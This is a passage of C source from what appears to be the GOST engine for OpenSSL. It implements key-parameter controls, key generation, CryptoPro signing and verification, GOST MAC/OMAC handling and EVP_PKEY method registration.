case EVP_PKEY_CTRL_GOST_PARAMSET:
pctx->sign_param_nid = (int)p1;
return 1;
case EVP_PKEY_CTRL_SET_IV:
if (p1 > sizeof(pctx->shared_ukm) || !p2) {
GOSTerr(GOST_F_PKEY_GOST_CTRL, GOST_R_UKM_NOT_SET);
return 0;
}
memcpy(pctx->shared_ukm, p2, (int)p1);
pctx->shared_ukm_size = p1;
return 1;
case EVP_PKEY_CTRL_SET_VKO:
switch (p1) {
case 0: /* switch to KEG */
case NID_id_GostR3411_2012_256:
case NID_id_GostR3411_2012_512:
break;
default:
GOSTerr(GOST_F_PKEY_GOST_CTRL, GOST_R_INVALID_DIGEST_TYPE);
return 0;
}
pctx->vko_dgst_nid = p1;
return 1;
case EVP_PKEY_CTRL_CIPHER:
switch (p1) {
case NID_magma_ctr_acpkm:
case NID_magma_ctr_acpkm_omac:
case NID_magma_ctr:
pctx->cipher_nid = NID_magma_ctr;
return 1;
case NID_kuznyechik_ctr_acpkm:
case NID_kuznyechik_ctr_acpkm_omac:
case NID_kuznyechik_ctr:
pctx->cipher_nid = NID_kuznyechik_ctr;
return 1;
default:
pctx->cipher_nid = p1;
return 1;
}
case EVP_PKEY_CTRL_PEER_KEY:
if (p1 == 0 || p1 == 1) /* call from EVP_PKEY_derive_set_peer */
return 1;
if (p1 == 2) /* TLS: peer key used? */
return pctx->peer_key_used;
if (p1 == 3) /* TLS: peer key used! */
return (pctx->peer_key_used = 1);
break;
}
GOSTerr(GOST_F_PKEY_GOST_CTRL, GOST_R_CTRL_CALL_FAILED);
return -2;
}
static int pkey_gost_ec_ctrl_str_common(EVP_PKEY_CTX *ctx,
const char *type, const char *value)
{
if (0 == strcmp(type, ukm_ctrl_string)) {
unsigned char ukm_buf[32], *tmp = NULL;
long len = 0;
tmp = OPENSSL_hexstr2buf(value, &len);
if (tmp == NULL)
return 0;
if (len > 32) {
OPENSSL_free(tmp);
GOSTerr(GOST_F_PKEY_GOST_EC_CTRL_STR_COMMON, GOST_R_CTRL_CALL_FAILED);
return 0;
}
memcpy(ukm_buf, tmp, len);
OPENSSL_free(tmp);
return pkey_gost_ctrl(ctx, EVP_PKEY_CTRL_SET_IV, len, ukm_buf);
} else if (strcmp(type, vko_ctrl_string) == 0) {
int bits = atoi(value);
int vko_dgst_nid = 0;
if (bits == 256)
vko_dgst_nid = NID_id_GostR3411_2012_256;
else if (bits == 512)
vko_dgst_nid = NID_id_GostR3411_2012_512;
else if (bits != 0) {
GOSTerr(GOST_F_PKEY_GOST_EC_CTRL_STR_COMMON, GOST_R_INVALID_DIGEST_TYPE);
return 0;
}
return pkey_gost_ctrl(ctx, EVP_PKEY_CTRL_SET_VKO, vko_dgst_nid, NULL);
}
return -2;
}
static int pkey_gost_ec_ctrl_str_256(EVP_PKEY_CTX *ctx,
const char *type, const char *value)
{
if (strcmp(type, param_ctrl_string) == 0) {
int param_nid = 0;
if (!value) {
return 0;
}
if (strlen(value) == 1) {
switch (toupper((unsigned char)value[0])) {
case 'A':
param_nid = NID_id_GostR3410_2001_CryptoPro_A_ParamSet;
break;
case 'B':
param_nid = NID_id_GostR3410_2001_CryptoPro_B_ParamSet;
break;
case 'C':
param_nid = NID_id_GostR3410_2001_CryptoPro_C_ParamSet;
break;
case '0':
param_nid = NID_id_GostR3410_2001_TestParamSet;
break;
default:
return 0;
}
} else if ((strlen(value) == 2)
&& (toupper((unsigned char)value[0]) == 'X')) {
switch (toupper((unsigned char)value[1])) {
case 'A':
param_nid = NID_id_GostR3410_2001_CryptoPro_XchA_ParamSet;
break;
case 'B':
param_nid = NID_id_GostR3410_2001_CryptoPro_XchB_ParamSet;
break;
default:
return 0;
}
} else if ((strlen(value) == 3)
&& (toupper((unsigned char)value[0]) == 'T')
&& (toupper((unsigned char)value[1]) == 'C')) {
switch (toupper((unsigned char)value[2])) {
case 'A':
param_nid = NID_id_tc26_gost_3410_2012_256_paramSetA;
break;
case 'B':
param_nid = NID_id_tc26_gost_3410_2012_256_paramSetB;
break;
case 'C':
param_nid = NID_id_tc26_gost_3410_2012_256_paramSetC;
break;
case 'D':
param_nid = NID_id_tc26_gost_3410_2012_256_paramSetD;
break;
default:
return 0;
}
} else {
R3410_ec_params *p = R3410_2001_paramset;
param_nid = OBJ_txt2nid(value);
if (param_nid == NID_undef) {
return 0;
}
for (; p->nid != NID_undef; p++) {
if (p->nid == param_nid)
break;
}
if (p->nid == NID_undef) {
GOSTerr(GOST_F_PKEY_GOST_EC_CTRL_STR_256,
GOST_R_INVALID_PARAMSET);
return 0;
}
}
return pkey_gost_ctrl(ctx, EVP_PKEY_CTRL_GOST_PARAMSET,
param_nid, NULL);
}
return pkey_gost_ec_ctrl_str_common(ctx, type, value);
}
static int pkey_gost_ec_ctrl_str_512(EVP_PKEY_CTX *ctx,
const char *type, const char *value)
{
int param_nid = NID_undef;
if (strcmp(type, param_ctrl_string))
return pkey_gost_ec_ctrl_str_common(ctx, type, value);
if (!value)
return 0;
if (strlen(value) == 1) {
switch (toupper((unsigned char)value[0])) {
case 'A':
param_nid = NID_id_tc26_gost_3410_2012_512_paramSetA;
break;
case 'B':
param_nid = NID_id_tc26_gost_3410_2012_512_paramSetB;
break;
case 'C':
param_nid = NID_id_tc26_gost_3410_2012_512_paramSetC;
break;
default:
return 0;
}
} else {
R3410_ec_params *p = R3410_2012_512_paramset;
param_nid = OBJ_txt2nid(value);
if (param_nid == NID_undef)
return 0;
while (p->nid != NID_undef && p->nid != param_nid)
p++;
if (p->nid == NID_undef) {
GOSTerr(GOST_F_PKEY_GOST_EC_CTRL_STR_512,
GOST_R_INVALID_PARAMSET);
return 0;
}
}
return pkey_gost_ctrl(ctx, EVP_PKEY_CTRL_GOST_PARAMSET, param_nid, NULL);
}
/* --------------------- key generation --------------------------------*/
static int pkey_gost_paramgen_init(EVP_PKEY_CTX *ctx)
{
return 1;
}
static int pkey_gost2001_paramgen(EVP_PKEY_CTX *ctx, EVP_PKEY *pkey)
{
struct gost_pmeth_data *data = EVP_PKEY_CTX_get_data(ctx);
EC_KEY *ec = NULL;
if (!data || data->sign_param_nid == NID_undef) {
GOSTerr(GOST_F_PKEY_GOST2001_PARAMGEN, GOST_R_NO_PARAMETERS_SET);
return 0;
}
ec = EC_KEY_new();
if (!fill_GOST_EC_params(ec, data->sign_param_nid)
|| !EVP_PKEY_assign(pkey, NID_id_GostR3410_2001, ec)) {
EC_KEY_free(ec);
return 0;
}
return 1;
}
static int pkey_gost2012_paramgen(EVP_PKEY_CTX *ctx, EVP_PKEY *pkey)
{
struct gost_pmeth_data *data = EVP_PKEY_CTX_get_data(ctx);
EC_KEY *ec;
int result = 0;
if (!data || data->sign_param_nid == NID_undef) {
GOSTerr(GOST_F_PKEY_GOST2012_PARAMGEN, GOST_R_NO_PARAMETERS_SET);
return 0;
}
ec = EC_KEY_new();
if (!fill_GOST_EC_params(ec, data->sign_param_nid)) {
EC_KEY_free(ec);
return 0;
}
switch (data->sign_param_nid) {
case NID_id_tc26_gost_3410_2012_512_paramSetA:
case NID_id_tc26_gost_3410_2012_512_paramSetB:
case NID_id_tc26_gost_3410_2012_512_paramSetC:
case NID_id_tc26_gost_3410_2012_512_paramSetTest:
result =
(EVP_PKEY_assign(pkey, NID_id_GostR3410_2012_512, ec)) ? 1 : 0;
break;
case NID_id_GostR3410_2001_CryptoPro_A_ParamSet:
case NID_id_GostR3410_2001_CryptoPro_B_ParamSet:
case NID_id_GostR3410_2001_CryptoPro_C_ParamSet:
case NID_id_GostR3410_2001_CryptoPro_XchA_ParamSet:
case NID_id_GostR3410_2001_CryptoPro_XchB_ParamSet:
case NID_id_GostR3410_2001_TestParamSet:
case NID_id_tc26_gost_3410_2012_256_paramSetA:
case NID_id_tc26_gost_3410_2012_256_paramSetB:
case NID_id_tc26_gost_3410_2012_256_paramSetC:
case NID_id_tc26_gost_3410_2012_256_paramSetD:
result =
(EVP_PKEY_assign(pkey, NID_id_GostR3410_2012_256, ec)) ? 1 : 0;
break;
default:
result = 0;
break;
}
if (result == 0)
EC_KEY_free(ec);
return result;
}
/* ----------- keygen callbacks --------------------------------------*/
/* Generates GOST_R3410 2001 key and assigns it using specified type */
static int pkey_gost2001cp_keygen(EVP_PKEY_CTX *ctx, EVP_PKEY *pkey)
{
EC_KEY *ec;
if (!pkey_gost2001_paramgen(ctx, pkey))
return 0;
ec = EVP_PKEY_get0(pkey);
gost_ec_keygen(ec);
return 1;
}
/* Generates GOST_R3410 2012 key and assigns it using specified type */
static int pkey_gost2012cp_keygen(EVP_PKEY_CTX *ctx, EVP_PKEY *pkey)
{
if (!pkey_gost2012_paramgen(ctx, pkey))
return 0;
gost_ec_keygen(EVP_PKEY_get0(pkey));
return 1;
}
/* ----------- sign callbacks --------------------------------------*/
/*
* Packs signature according to Cryptopro rules
* and frees up ECDSA_SIG structure
*/
int pack_sign_cp(ECDSA_SIG *s, int order, unsigned char *sig, size_t *siglen)
{
const BIGNUM *sig_r = NULL, *sig_s = NULL;
ECDSA_SIG_get0(s, &sig_r, &sig_s);
*siglen = 2 * order;
memset(sig, 0, *siglen);
store_bignum(sig_s, sig, order);
store_bignum(sig_r, sig + order, order);
ECDSA_SIG_free(s);
return 1;
}
static int pkey_gost_ec_cp_sign(EVP_PKEY_CTX *ctx, unsigned char *sig,
size_t *siglen, const unsigned char *tbs,
size_t tbs_len)
{
ECDSA_SIG *unpacked_sig = NULL;
EVP_PKEY *pkey = EVP_PKEY_CTX_get0_pkey(ctx);
int order = 0;
if (!siglen)
return 0;
if (!pkey)
return 0;
switch (EVP_PKEY_base_id(pkey)) {
case NID_id_GostR3410_2001:
case NID_id_GostR3410_2001DH:
case NID_id_GostR3410_2012_256:
order = 64;
break;
case NID_id_GostR3410_2012_512:
order = 128;
break;
default:
return 0;
}
if (!sig) {
*siglen = order;
return 1;
}
unpacked_sig = gost_ec_sign(tbs, tbs_len, EVP_PKEY_get0(pkey));
if (!unpacked_sig) {
return 0;
}
return pack_sign_cp(unpacked_sig, order / 2, sig, siglen);
}
/* ------------------- verify callbacks ---------------------------*/
/* Unpack signature according to cryptopro rules */
ECDSA_SIG *unpack_cp_signature(const unsigned char *sigbuf, size_t siglen)
{
ECDSA_SIG *sig;
BIGNUM *r = NULL, *s = NULL;
sig = ECDSA_SIG_new();
if (sig == NULL) {
GOSTerr(GOST_F_UNPACK_CP_SIGNATURE, ERR_R_MALLOC_FAILURE);
return NULL;
}
s = BN_bin2bn(sigbuf, siglen / 2, NULL);
r = BN_bin2bn(sigbuf + siglen / 2, siglen / 2, NULL);
ECDSA_SIG_set0(sig, r, s);
return sig;
}
static int pkey_gost_ec_cp_verify(EVP_PKEY_CTX *ctx, const unsigned char *sig,
size_t siglen, const unsigned char *tbs,
size_t tbs_len)
{
int ok = 0;
EVP_PKEY *pub_key = EVP_PKEY_CTX_get0_pkey(ctx);
ECDSA_SIG *s = (sig) ? unpack_cp_signature(sig, siglen) : NULL;
if (!s)
return 0;
#ifdef DEBUG_SIGN
fprintf(stderr, "R=");
BN_print_fp(stderr, ECDSA_SIG_get0_r(s));
fprintf(stderr, "\nS=");
BN_print_fp(stderr, ECDSA_SIG_get0_s(s));
fprintf(stderr, "\n");
#endif
if (pub_key)
ok = gost_ec_verify(tbs, tbs_len, s, EVP_PKEY_get0(pub_key));
ECDSA_SIG_free(s);
return ok;
}
/* ------------- encrypt init -------------------------------------*/
/* Generates ephermeral key */
static int pkey_gost_encrypt_init(EVP_PKEY_CTX *ctx)
{
return 1;
}
/* --------------- Derive init ------------------------------------*/
static int pkey_gost_derive_init(EVP_PKEY_CTX *ctx)
{
return 1;
}
/* -------- PKEY_METHOD for GOST MAC algorithm --------------------*/
static int pkey_gost_mac_init(EVP_PKEY_CTX *ctx)
{
struct gost_mac_pmeth_data *data = OPENSSL_malloc(sizeof(*data));
EVP_PKEY *pkey = EVP_PKEY_CTX_get0_pkey(ctx);
if (!data)
return 0;
memset(data, 0, sizeof(*data));
data->mac_size = 4;
data->mac_param_nid = NID_undef;
if (pkey) {
struct gost_mac_key *key = EVP_PKEY_get0(pkey);
if (key) {
data->mac_param_nid = key->mac_param_nid;
data->mac_size = key->mac_size;
}
}
EVP_PKEY_CTX_set_data(ctx, data);
return 1;
}
static int pkey_gost_omac_init(EVP_PKEY_CTX *ctx, size_t mac_size)
{
struct gost_mac_pmeth_data *data = OPENSSL_malloc(sizeof(*data));
EVP_PKEY *pkey = EVP_PKEY_CTX_get0_pkey(ctx);
if (!data)
return 0;
memset(data, 0, sizeof(*data));
data->mac_size = mac_size;
data->mac_param_nid = NID_undef;
if (pkey) {
struct gost_mac_key *key = EVP_PKEY_get0(pkey);
if (key) {
data->mac_param_nid = key->mac_param_nid;
data->mac_size = key->mac_size;
}
}
EVP_PKEY_CTX_set_data(ctx, data);
return 1;
}
static int pkey_gost_magma_mac_init(EVP_PKEY_CTX *ctx)
{
return pkey_gost_omac_init(ctx, 8);
}
static int pkey_gost_grasshopper_mac_init(EVP_PKEY_CTX *ctx)
{
return pkey_gost_omac_init(ctx, 16);
}
static void pkey_gost_mac_cleanup(EVP_PKEY_CTX *ctx)
{
struct gost_mac_pmeth_data *data = EVP_PKEY_CTX_get_data(ctx);
if (data)
OPENSSL_free(data);
}
static int pkey_gost_mac_copy(EVP_PKEY_CTX *dst, ossl3_const EVP_PKEY_CTX *src)
{
struct gost_mac_pmeth_data *dst_data, *src_data;
if (!pkey_gost_mac_init(dst)) {
return 0;
}
src_data = EVP_PKEY_CTX_get_data(src);
dst_data = EVP_PKEY_CTX_get_data(dst);
if (!src_data || !dst_data)
return 0;
*dst_data = *src_data;
return 1;
}
static int pkey_gost_mac_ctrl(EVP_PKEY_CTX *ctx, int type, int p1, void *p2)
{
struct gost_mac_pmeth_data *data =
(struct gost_mac_pmeth_data *)EVP_PKEY_CTX_get_data(ctx);
switch (type) {
case EVP_PKEY_CTRL_MD:
{
int nid = EVP_MD_type((const EVP_MD *)p2);
if (nid != NID_id_Gost28147_89_MAC && nid != NID_gost_mac_12) {
GOSTerr(GOST_F_PKEY_GOST_MAC_CTRL,
GOST_R_INVALID_DIGEST_TYPE);
return 0;
}
data->md = (EVP_MD *)p2;
return 1;
}
case EVP_PKEY_CTRL_GET_MD:
*(const EVP_MD **)p2 = data->md;
return 1;
case EVP_PKEY_CTRL_PKCS7_ENCRYPT:
case EVP_PKEY_CTRL_PKCS7_DECRYPT:
case EVP_PKEY_CTRL_PKCS7_SIGN:
return 1;
case EVP_PKEY_CTRL_SET_MAC_KEY:
if (p1 != 32) {
GOSTerr(GOST_F_PKEY_GOST_MAC_CTRL, GOST_R_INVALID_MAC_KEY_LENGTH);
return 0;
}
memcpy(data->key, p2, 32);
data->key_set = 1;
return 1;
case EVP_PKEY_CTRL_GOST_PARAMSET:
{
struct gost_cipher_info *param = p2;
data->mac_param_nid = param->nid;
return 1;
}
case EVP_PKEY_CTRL_DIGESTINIT:
{
EVP_MD_CTX *mctx = p2;
if (!data->key_set) {
struct gost_mac_key *key;
EVP_PKEY *pkey = EVP_PKEY_CTX_get0_pkey(ctx);
if (!pkey) {
GOSTerr(GOST_F_PKEY_GOST_MAC_CTRL,
GOST_R_MAC_KEY_NOT_SET);
return 0;
}
key = EVP_PKEY_get0(pkey);
if (!key) {
GOSTerr(GOST_F_PKEY_GOST_MAC_CTRL,
GOST_R_MAC_KEY_NOT_SET);
return 0;
}
return EVP_MD_meth_get_ctrl(EVP_MD_CTX_md(mctx))
(mctx, EVP_MD_CTRL_SET_KEY, 0, key);
} else {
return EVP_MD_meth_get_ctrl(EVP_MD_CTX_md(mctx))
(mctx, EVP_MD_CTRL_SET_KEY, 32, &(data->key));
}
}
case EVP_PKEY_CTRL_MAC_LEN:
{
if (p1 < 1 || p1 > 8) {
GOSTerr(GOST_F_PKEY_GOST_MAC_CTRL, GOST_R_INVALID_MAC_SIZE);
return 0;
}
data->mac_size = p1;
return 1;
}
}
return -2;
}
static int pkey_gost_mac_ctrl_str(EVP_PKEY_CTX *ctx,
const char *type, const char *value)
{
if (strcmp(type, key_ctrl_string) == 0) {
if (strlen(value) != 32) {
GOSTerr(GOST_F_PKEY_GOST_MAC_CTRL_STR,
GOST_R_INVALID_MAC_KEY_LENGTH);
return 0;
}
return pkey_gost_mac_ctrl(ctx, EVP_PKEY_CTRL_SET_MAC_KEY,
32, (char *)value);
}
if (strcmp(type, hexkey_ctrl_string) == 0) {
long keylen;
int ret;
unsigned char *keybuf = string_to_hex(value, &keylen);
if (!keybuf || keylen != 32) {
GOSTerr(GOST_F_PKEY_GOST_MAC_CTRL_STR,
GOST_R_INVALID_MAC_KEY_LENGTH);
OPENSSL_free(keybuf);
return 0;
}
ret = pkey_gost_mac_ctrl(ctx, EVP_PKEY_CTRL_SET_MAC_KEY, 32, keybuf);
OPENSSL_free(keybuf);
return ret;
}
if (!strcmp(type, maclen_ctrl_string)) {
char *endptr;
long size = strtol(value, &endptr, 10);
if (*endptr != '\0') {
GOSTerr(GOST_F_PKEY_GOST_MAC_CTRL_STR, GOST_R_INVALID_MAC_SIZE);
return 0;
}
return pkey_gost_mac_ctrl(ctx, EVP_PKEY_CTRL_MAC_LEN, size, NULL);
}
if (strcmp(type, param_ctrl_string) == 0) {
ASN1_OBJECT *obj = OBJ_txt2obj(value, 0);
const struct gost_cipher_info *param = NULL;
if (obj == NULL) {
GOSTerr(GOST_F_PKEY_GOST_MAC_CTRL_STR, GOST_R_INVALID_MAC_PARAMS);
return 0;
}
param = get_encryption_params(obj);
ASN1_OBJECT_free(obj);
if (param == NULL) {
GOSTerr(GOST_F_PKEY_GOST_MAC_CTRL_STR, GOST_R_INVALID_MAC_PARAMS);
return 0;
}
return pkey_gost_mac_ctrl(ctx, EVP_PKEY_CTRL_GOST_PARAMSET, 0,
(void *)param);
}
return -2;
}
static int pkey_gost_omac_ctrl(EVP_PKEY_CTX *ctx, int type, int p1, void *p2, size_t max_size)
{
struct gost_mac_pmeth_data *data =
(struct gost_mac_pmeth_data *)EVP_PKEY_CTX_get_data(ctx);
switch (type) {
case EVP_PKEY_CTRL_MD:
{
int nid = EVP_MD_type((const EVP_MD *)p2);
if (nid != NID_magma_mac && nid != NID_grasshopper_mac
&& nid != NID_id_tc26_cipher_gostr3412_2015_kuznyechik_ctracpkm_omac /* FIXME beldmit */
&& nid != NID_id_tc26_cipher_gostr3412_2015_magma_ctracpkm_omac) {
GOSTerr(GOST_F_PKEY_GOST_OMAC_CTRL,
GOST_R_INVALID_DIGEST_TYPE);
return 0;
}
data->md = (EVP_MD *)p2;
return 1;
}
case EVP_PKEY_CTRL_GET_MD:
*(const EVP_MD **)p2 = data->md;
return 1;
case EVP_PKEY_CTRL_PKCS7_ENCRYPT:
case EVP_PKEY_CTRL_PKCS7_DECRYPT:
case EVP_PKEY_CTRL_PKCS7_SIGN:
return 1;
case EVP_PKEY_CTRL_SET_MAC_KEY:
if (p1 != 32) {
GOSTerr(GOST_F_PKEY_GOST_OMAC_CTRL, GOST_R_INVALID_MAC_KEY_LENGTH);
return 0;
}
memcpy(data->key, p2, 32);
data->key_set = 1;
return 1;
case EVP_PKEY_CTRL_DIGESTINIT:
{
EVP_MD_CTX *mctx = p2;
if (!data->key_set) {
struct gost_mac_key *key;
EVP_PKEY *pkey = EVP_PKEY_CTX_get0_pkey(ctx);
if (!pkey) {
GOSTerr(GOST_F_PKEY_GOST_OMAC_CTRL,
GOST_R_MAC_KEY_NOT_SET);
return 0;
}
key = EVP_PKEY_get0(pkey);
if (!key) {
GOSTerr(GOST_F_PKEY_GOST_OMAC_CTRL,
GOST_R_MAC_KEY_NOT_SET);
return 0;
}
return EVP_MD_meth_get_ctrl(EVP_MD_CTX_md(mctx))
(mctx, EVP_MD_CTRL_SET_KEY, 0, key);
} else {
return EVP_MD_meth_get_ctrl(EVP_MD_CTX_md(mctx))
(mctx, EVP_MD_CTRL_SET_KEY, 32, &(data->key));
}
}
case EVP_PKEY_CTRL_MAC_LEN:
{
if (p1 < 1 || p1 > max_size) {
GOSTerr(GOST_F_PKEY_GOST_OMAC_CTRL, GOST_R_INVALID_MAC_SIZE);
return 0;
}
data->mac_size = p1;
return 1;
}
}
return -2;
}
static int pkey_gost_magma_mac_ctrl(EVP_PKEY_CTX *ctx, int type, int p1, void *p2)
{
return pkey_gost_omac_ctrl(ctx, type, p1, p2, 8);
}
static int pkey_gost_grasshopper_mac_ctrl(EVP_PKEY_CTX *ctx, int type, int p1, void *p2)
{
return pkey_gost_omac_ctrl(ctx, type, p1, p2, 16);
}
static int pkey_gost_omac_ctrl_str(EVP_PKEY_CTX *ctx,
const char *type, const char *value, size_t max_size)
{
if (strcmp(type, key_ctrl_string) == 0) {
if (strlen(value) != 32) {
GOSTerr(GOST_F_PKEY_GOST_OMAC_CTRL_STR,
GOST_R_INVALID_MAC_KEY_LENGTH);
return 0;
}
return pkey_gost_mac_ctrl(ctx, EVP_PKEY_CTRL_SET_MAC_KEY,
32, (char *)value);
}
if (strcmp(type, hexkey_ctrl_string) == 0) {
long keylen;
int ret;
unsigned char *keybuf = string_to_hex(value, &keylen);
if (!keybuf || keylen != 32) {
GOSTerr(GOST_F_PKEY_GOST_OMAC_CTRL_STR,
GOST_R_INVALID_MAC_KEY_LENGTH);
OPENSSL_free(keybuf);
return 0;
}
ret = pkey_gost_mac_ctrl(ctx, EVP_PKEY_CTRL_SET_MAC_KEY, 32, keybuf);
OPENSSL_free(keybuf);
return ret;
}
if (!strcmp(type, maclen_ctrl_string)) {
char *endptr;
long size = strtol(value, &endptr, 10);
if (*endptr != '\0') {
GOSTerr(GOST_F_PKEY_GOST_OMAC_CTRL_STR, GOST_R_INVALID_MAC_SIZE);
return 0;
}
return pkey_gost_omac_ctrl(ctx, EVP_PKEY_CTRL_MAC_LEN, size, NULL, max_size);
}
return -2;
}
static int pkey_gost_magma_mac_ctrl_str(EVP_PKEY_CTX *ctx,
const char *type, const char *value)
{
return pkey_gost_omac_ctrl_str(ctx, type, value, 8);
}
static int pkey_gost_grasshopper_mac_ctrl_str(EVP_PKEY_CTX *ctx,
const char *type, const char *value)
{
return pkey_gost_omac_ctrl_str(ctx, type, value, 8);
}
static int pkey_gost_mac_keygen_base(EVP_PKEY_CTX *ctx,
EVP_PKEY *pkey, int mac_nid)
{
struct gost_mac_pmeth_data *data = EVP_PKEY_CTX_get_data(ctx);
struct gost_mac_key *keydata;
if (!data || !data->key_set) {
GOSTerr(GOST_F_PKEY_GOST_MAC_KEYGEN_BASE, GOST_R_MAC_KEY_NOT_SET);
return 0;
}
keydata = OPENSSL_malloc(sizeof(struct gost_mac_key));
if (keydata == NULL)
return 0;
memcpy(keydata->key, data->key, 32);
keydata->mac_param_nid = data->mac_param_nid;
keydata->mac_size = data->mac_size;
EVP_PKEY_assign(pkey, mac_nid, keydata);
return 1;
}
static int pkey_gost_mac_keygen_12(EVP_PKEY_CTX *ctx, EVP_PKEY *pkey)
{
return pkey_gost_mac_keygen_base(ctx, pkey, NID_gost_mac_12);
}
static int pkey_gost_mac_keygen(EVP_PKEY_CTX *ctx, EVP_PKEY *pkey)
{
return pkey_gost_mac_keygen_base(ctx, pkey, NID_id_Gost28147_89_MAC);
}
static int pkey_gost_magma_mac_keygen(EVP_PKEY_CTX *ctx, EVP_PKEY *pkey)
{
return pkey_gost_mac_keygen_base(ctx, pkey, NID_magma_mac);
}
static int pkey_gost_grasshopper_mac_keygen(EVP_PKEY_CTX *ctx, EVP_PKEY *pkey)
{
return pkey_gost_mac_keygen_base(ctx, pkey, NID_grasshopper_mac);
}
static int pkey_gost_mac_signctx_init(EVP_PKEY_CTX *ctx, EVP_MD_CTX *mctx)
{
struct gost_mac_pmeth_data *data = EVP_PKEY_CTX_get_data(ctx);
if (data == NULL) {
pkey_gost_mac_init(ctx);
}
data = EVP_PKEY_CTX_get_data(ctx);
if (!data) {
GOSTerr(GOST_F_PKEY_GOST_MAC_SIGNCTX_INIT, GOST_R_MAC_KEY_NOT_SET);
return 0;
}
return 1;
}
static int pkey_gost_magma_mac_signctx_init(EVP_PKEY_CTX *ctx, EVP_MD_CTX *mctx)
{
struct gost_mac_pmeth_data *data = EVP_PKEY_CTX_get_data(ctx);
if (data == NULL) {
pkey_gost_omac_init(ctx, 4);
}
data = EVP_PKEY_CTX_get_data(ctx);
if (!data) {
GOSTerr(GOST_F_PKEY_GOST_MAGMA_MAC_SIGNCTX_INIT, GOST_R_MAC_KEY_NOT_SET);
return 0;
}
return 1;
}
static int pkey_gost_grasshopper_mac_signctx_init(EVP_PKEY_CTX *ctx, EVP_MD_CTX *mctx)
{
struct gost_mac_pmeth_data *data = EVP_PKEY_CTX_get_data(ctx);
if (data == NULL) {
pkey_gost_omac_init(ctx, 8);
}
data = EVP_PKEY_CTX_get_data(ctx);
if (!data) {
GOSTerr(GOST_F_PKEY_GOST_GRASSHOPPER_MAC_SIGNCTX_INIT, GOST_R_MAC_KEY_NOT_SET);
return 0;
}
return 1;
}
static int pkey_gost_mac_signctx(EVP_PKEY_CTX *ctx, unsigned char *sig,
size_t *siglen, EVP_MD_CTX *mctx)
{
unsigned int tmpsiglen;
int ret;
struct gost_mac_pmeth_data *data = EVP_PKEY_CTX_get_data(ctx);
if (!siglen)
return 0;
tmpsiglen = *siglen; /* for platforms where sizeof(int) !=
* sizeof(size_t) */
if (!sig) {
*siglen = data->mac_size;
return 1;
}
EVP_MD_meth_get_ctrl(EVP_MD_CTX_md(mctx))
(mctx, EVP_MD_CTRL_XOF_LEN, data->mac_size, NULL);
ret = EVP_DigestFinal_ex(mctx, sig, &tmpsiglen);
*siglen = data->mac_size;
return ret;
}
/* ----------- misc callbacks -------------------------------------*/
/* Callback for both EVP_PKEY_check() and EVP_PKEY_public_check. */
static int pkey_gost_check(EVP_PKEY *pkey)
{
return EC_KEY_check_key(EVP_PKEY_get0(pkey));
}
/* ----------------------------------------------------------------*/
int register_pmeth_gost(int id, EVP_PKEY_METHOD **pmeth, int flags)
{
*pmeth = EVP_PKEY_meth_new(id, flags);
if (!*pmeth)
return 0;
switch (id) {
case NID_id_GostR3410_2001:
case NID_id_GostR3410_2001DH:
EVP_PKEY_meth_set_ctrl(*pmeth,
pkey_gost_ctrl, pkey_gost_ec_ctrl_str_256);
EVP_PKEY_meth_set_sign(*pmeth, NULL, pkey_gost_ec_cp_sign);
EVP_PKEY_meth_set_verify(*pmeth, NULL, pkey_gost_ec_cp_verify);
EVP_PKEY_meth_set_keygen(*pmeth, NULL, pkey_gost2001cp_keygen);
EVP_PKEY_meth_set_encrypt(*pmeth,
pkey_gost_encrypt_init,
pkey_gost_encrypt);
EVP_PKEY_meth_set_decrypt(*pmeth, NULL, pkey_gost_decrypt);
EVP_PKEY_meth_set_derive(*pmeth,
pkey_gost_derive_init, pkey_gost_ec_derive);
EVP_PKEY_meth_set_paramgen(*pmeth, pkey_gost_paramgen_init,
pkey_gost2001_paramgen);
EVP_PKEY_meth_set_check(*pmeth, pkey_gost_check);
EVP_PKEY_meth_set_public_check(*pmeth, pkey_gost_check);
break;
case NID_id_GostR3410_2012_256:
EVP_PKEY_meth_set_ctrl(*pmeth,
pkey_gost_ctrl, pkey_gost_ec_ctrl_str_256);
EVP_PKEY_meth_set_sign(*pmeth, NULL, pkey_gost_ec_cp_sign);
EVP_PKEY_meth_set_verify(*pmeth, NULL, pkey_gost_ec_cp_verify);
EVP_PKEY_meth_set_keygen(*pmeth, NULL, pkey_gost2012cp_keygen);
EVP_PKEY_meth_set_encrypt(*pmeth,
pkey_gost_encrypt_init,
pkey_gost_encrypt);
EVP_PKEY_meth_set_decrypt(*pmeth, NULL, pkey_gost_decrypt);
EVP_PKEY_meth_set_derive(*pmeth,
pkey_gost_derive_init, pkey_gost_ec_derive);
EVP_PKEY_meth_set_paramgen(*pmeth,
pkey_gost_paramgen_init,
pkey_gost2012_paramgen);
EVP_PKEY_meth_set_check(*pmeth, pkey_gost_check);
EVP_PKEY_meth_set_public_check(*pmeth, pkey_gost_check);
break;
case NID_id_GostR3410_2012_512:
EVP_PKEY_meth_set_ctrl(*pmeth,
pkey_gost_ctrl, pkey_gost_ec_ctrl_str_512);
EVP_PKEY_meth_set_sign(*pmeth, NULL, pkey_gost_ec_cp_sign);
EVP_PKEY_meth_set_verify(*pmeth, NULL, pkey_gost_ec_cp_verify);
EVP_PKEY_meth_set_keygen(*pmeth, NULL, pkey_gost2012cp_keygen);
EVP_PKEY_meth_set_encrypt(*pmeth,
pkey_gost_encrypt_init,
pkey_gost_encrypt);
EVP_PKEY_meth_set_decrypt(*pmeth, NULL, pkey_gost_decrypt);
EVP_PKEY_meth_set_derive(*pmeth,
pkey_gost_derive_init, pkey_gost_ec_derive);
EVP_PKEY_meth_set_paramgen(*pmeth,
pkey_gost_paramgen_init,
pkey_gost2012_paramgen);
EVP_PKEY_meth_set_check(*pmeth, pkey_gost_check);
EVP_PKEY_meth_set_public_check(*pmeth, pkey_gost_check);
break;
case NID_id_Gost28147_89_MAC:
EVP_PKEY_meth_set_ctrl(*pmeth, pkey_gost_mac_ctrl,
pkey_gost_mac_ctrl_str);
EVP_PKEY_meth_set_signctx(*pmeth, pkey_gost_mac_signctx_init,
pkey_gost_mac_signctx);
EVP_PKEY_meth_set_keygen(*pmeth, NULL, pkey_gost_mac_keygen);
EVP_PKEY_meth_set_init(*pmeth, pkey_gost_mac_init);
EVP_PKEY_meth_set_cleanup(*pmeth, pkey_gost_mac_cleanup);
EVP_PKEY_meth_set_copy(*pmeth, pkey_gost_mac_copy);
return 1;
case NID_gost_mac_12:
EVP_PKEY_meth_set_ctrl(*pmeth, pkey_gost_mac_ctrl,
pkey_gost_mac_ctrl_str);
